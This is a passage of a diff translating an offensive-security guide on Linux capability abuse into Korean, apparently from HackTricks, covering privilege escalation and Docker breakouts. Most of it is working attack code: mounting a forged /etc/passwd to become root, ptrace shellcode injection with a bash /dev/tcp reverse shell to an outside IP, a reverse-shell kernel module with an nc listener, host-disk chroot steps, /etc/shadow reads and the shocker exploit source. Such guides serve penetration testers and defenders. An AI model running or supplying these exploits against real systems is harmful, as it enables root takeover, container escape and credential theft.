root**. +그렇다면 **해당 바이너리는 root로 실행됩니다**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. - -**Example with binary** +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**은 매우 강력한 Linux 권한으로, 장치 마운트 또는 커널 기능 조작과 같은 광범위한 **관리 권한**으로 인해 거의 root 수준에 해당합니다. 전체 시스템을 시뮬레이션하는 컨테이너에 필수적이지만, **`CAP_SYS_ADMIN`은 권한 상승 및 시스템 손상의 잠재력으로 인해** 특히 컨테이너화된 환경에서 상당한 보안 문제를 야기합니다. 따라서 이 권한의 사용은 엄격한 보안 평가와 신중한 관리가 필요하며, **최소 권한 원칙**을 준수하고 공격 표면을 최소화하기 위해 애플리케이션 전용 컨테이너에서 이 권한을 제거하는 것이 강력히 권장됩니다. +**바이너리 예제** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +파이썬을 사용하여 실제 _passwd_ 파일 위에 수정된 _passwd_ 파일을 마운트할 수 있습니다: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +마지막으로 수정된 `passwd` 파일을 `/etc/passwd`에 **마운트**합니다: ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +그리고 당신은 비밀번호 "password"를 사용하여 **`su` as root**가 될 수 있습니다. -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**환경 예시 (Docker 탈출)** +다음 명령어를 사용하여 도커 컨테이너 내에서 활성화된 권한을 확인할 수 있습니다: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -Inside the previous output you can see that the SYS_ADMIN capability is enabled. +이전 출력에서 SYS_ADMIN 권한이 활성화되어 있음을 알 수 있습니다. - **Mount** -This allows the docker container to **mount the host disk and access it freely**: - +이것은 도커 컨테이너가 **호스트 디스크를 마운트하고 자유롭게 접근할 수 있도록** 허용합니다: ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **전체 접근** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +이전 방법에서는 도커 호스트 디스크에 접근할 수 있었습니다.\ +호스트가 **ssh** 서버를 실행 중인 경우, **도커 호스트** 디스크 내에 사용자를 생성하고 SSH를 통해 접근할 수 있습니다: ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**이것은 호스트 내에서 실행 중인 프로세스에 쉘코드를 주입하여 컨테이너를 탈출할 수 있음을 의미합니다.** 호스트 내에서 실행 중인 프로세스에 접근하려면 컨테이너를 최소한 **`--pid=host`** 옵션으로 실행해야 합니다. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). - -**Example with binary (python)** +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**는 `ptrace(2)`가 제공하는 디버깅 및 시스템 호출 추적 기능과 `process_vm_readv(2)` 및 `process_vm_writev(2)`와 같은 교차 메모리 연결 호출을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, `ptrace(2)`에 대한 seccomp 필터와 같은 제한 조치 없이 `CAP_SYS_PTRACE`가 활성화되면 시스템 보안을 심각하게 저해할 수 있습니다. 특히, 이는 seccomp에 의해 부과된 다른 보안 제한을 우회하는 데 악용될 수 있으며, [이와 같은 개념 증명(PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53)에서 입증되었습니다. +**바이너리 예제 (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +명령이 실행된 결과를 볼 수는 없지만 해당 프로세스에 의해 실행됩니다 (따라서 rev shell을 얻습니다). > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> "현재 컨텍스트에 'system' 기호가 없습니다."라는 오류가 발생하면 gdb를 통해 프로그램에 shellcode를 로드하는 이전 예제를 확인하십시오. -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**환경 예제 (Docker 탈출) - Shellcode 주입** +docker 컨테이너 내에서 활성화된 기능을 확인하려면 다음을 사용하십시오: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +**프로세스** 나열하기 **호스트** `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. **아키텍처** 가져오기 `uname -m` +2. 아키텍처에 대한 **셸코드** 찾기 ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. 프로세스 메모리에 **셸코드**를 **주입**할 **프로그램** 찾기 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. 프로그램 내의 **셸코드**를 **수정**하고 **컴파일**하기 `gcc inject.c -o inject` +5. **주입**하고 **셸**을 잡기: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation. -**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)**는 프로세스가 **커널 모듈을 로드하고 언로드할 수 있도록 (`init_module(2)`, `finit_module(2)` 및 `delete_module(2)` 시스템 호출)** 하여 커널의 핵심 작업에 직접 접근할 수 있게 합니다. 이 기능은 권한 상승 및 전체 시스템 손상을 가능하게 하여 커널을 수정할 수 있게 하므로 모든 Linux 보안 메커니즘, Linux Security Modules 및 컨테이너 격리를 우회하는 심각한 보안 위험을 초래합니다. +**즉, 호스트 머신의 커널에 커널 모듈을 삽입/제거할 수 있습니다.** -**Example with binary** - -In the following example the binary **`python`** has this capability. +**바이너리 예제** +다음 예제에서 바이너리 **`python`**은 이 기능을 가지고 있습니다. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep ``` - -By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ -In order to abuse this, lets create a fake **lib/modules** folder: - +기본적으로 **`modprobe`** 명령은 **`/lib/modules/$(uname -r)`** 디렉토리에서 의존성 목록과 맵 파일을 확인합니다.\ +이를 악용하기 위해 가짜 **lib/modules** 폴더를 생성해 보겠습니다: ```bash mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` - -Then **compile the kernel module you can find 2 examples below and copy** it to this folder: - +그런 다음 **커널 모듈을 컴파일하고 아래 두 가지 예를 찾아서** 이 폴더에 복사하세요: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` - -Finally, execute the needed python code to load this kernel module: - +마지막으로, 이 커널 모듈을 로드하기 위해 필요한 파이썬 코드를 실행하세요: ```python import kmod km = kmod.Kmod() km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") km.modprobe("reverse-shell") ``` +**예제 2: 바이너리와 함께** -**Example 2 with binary** - -In the following example the binary **`kmod`** has this capability. - +다음 예제에서 바이너리 **`kmod`**는 이 권한을 가지고 있습니다. ```bash getcap -r / 2>/dev/null /bin/kmod = cap_sys_module+ep ``` +커널 모듈을 삽입하기 위해 **`insmod`** 명령을 사용할 수 있다는 의미입니다. 이 권한을 악용하여 **reverse shell**을 얻기 위해 아래 예제를 따르십시오. -Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**환경 예제 (Docker 탈출)** +다음 명령을 사용하여 도커 컨테이너 내에서 활성화된 권한을 확인할 수 있습니다: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +이전 출력에서 **SYS_MODULE** 권한이 활성화되어 있음을 확인할 수 있습니다. -Inside the previous output you can see that the **SYS_MODULE** capability is enabled. - -**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it: - +**리버스 셸**을 실행할 **커널 모듈**과 이를 **컴파일**할 **Makefile**을 **생성**하십시오: ```c:reverse-shell.c #include #include @@ -779,11 +689,11 @@ static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/ // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { - printk(KERN_INFO "Exiting\n"); +printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); @@ -794,26 +704,22 @@ module_exit(reverse_shell_exit); obj-m +=reverse-shell.o all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ``` - > [!WARNING] -> The blank char before each make word in the Makefile **must be a tab, not spaces**! - -Execute `make` to compile it. +> Makefile의 각 make 단어 앞의 공백은 **공백이 아닌 탭**이어야 합니다! +`make`를 실행하여 컴파일합니다. ``` ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop. sudo apt update sudo apt full-upgrade ``` - -Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process: - +마지막으로, 셸 안에서 `nc`를 시작하고 다른 셸에서 **모듈을 로드**하면 nc 프로세스에서 셸을 캡처할 수 있습니다: ```bash #Shell 1 nc -lvnp 4444 @@ -821,67 +727,57 @@ nc -lvnp 4444 #Shell 2 insmod reverse-shell.ko #Launch the reverse shell ``` +**이 기술의 코드는** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) **의 "SYS_MODULE Capability 남용" 실험실에서 복사되었습니다.** -**The code of this technique was copied from the laboratory of "Abusing SYS_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +이 기술의 또 다른 예는 [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)에서 찾을 수 있습니다. ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 는 프로세스가 **파일 읽기 및 디렉토리 읽기/실행에 대한 권한을 우회할 수 있도록** 합니다. 주된 용도는 파일 검색 또는 읽기 목적입니다. 그러나 이 기능은 프로세스의 마운트 네임스페이스 외부에 있는 파일을 포함하여 모든 파일에 접근할 수 있는 `open_by_handle_at(2)` 함수를 사용할 수 있게 합니다. `open_by_handle_at(2)`에서 사용되는 핸들은 `name_to_handle_at(2)`를 통해 얻은 비투명 식별자여야 하지만, 조작에 취약한 inode 번호와 같은 민감한 정보를 포함할 수 있습니다. 이 기능의 악용 가능성은 특히 Docker 컨테이너의 맥락에서 Sebastian Krahmer에 의해 shocker exploit로 입증되었습니다. [여기서 분석된](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 내용을 참조하십시오. +**이는 파일 읽기 권한 검사 및 디렉토리 읽기/실행 권한 검사를 우회할 수 있음을 의미합니다.** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**바이너리 예시** +바이너리는 모든 파일을 읽을 수 있습니다. 따라서 tar와 같은 파일이 이 권한을 가지고 있다면, 그림자 파일을 읽을 수 있게 됩니다: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` - **Example with binary2** -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +이 경우 **`python`** 바이너리가 이 권한을 가지고 있다고 가정해 보겠습니다. 루트 파일을 나열하려면 다음과 같이 할 수 있습니다: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +파일을 읽기 위해 다음과 같이 할 수 있습니다: ```python print(open("/etc/shadow", "r").read()) ``` +**환경 예제 (Docker 탈출)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +docker 컨테이너 내에서 활성화된 권한을 확인하려면 다음을 사용하세요: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +이전 출력에서 **DAC_READ_SEARCH** 권한이 활성화되어 있음을 알 수 있습니다. 결과적으로, 컨테이너는 **프로세스를 디버깅**할 수 있습니다. -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +다음의 익스플로잇이 어떻게 작동하는지에 대한 내용은 [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)에서 확인할 수 있지만, 요약하자면 **CAP_DAC_READ_SEARCH**는 권한 확인 없이 파일 시스템을 탐색할 수 있게 해줄 뿐만 아니라, _**open_by_handle_at(2)**_에 대한 모든 검사를 명시적으로 제거하고 **다른 프로세스에 의해 열린 민감한 파일에 대한 접근을 허용할 수 있습니다**. +호스트에서 파일을 읽기 위해 이 권한을 악용하는 원래 익스플로잇은 여기에서 찾을 수 있습니다: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), 다음은 **읽고자 하는 파일을 첫 번째 인수로 지정하고 파일에 덤프할 수 있는 수정된 버전입니다.** ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 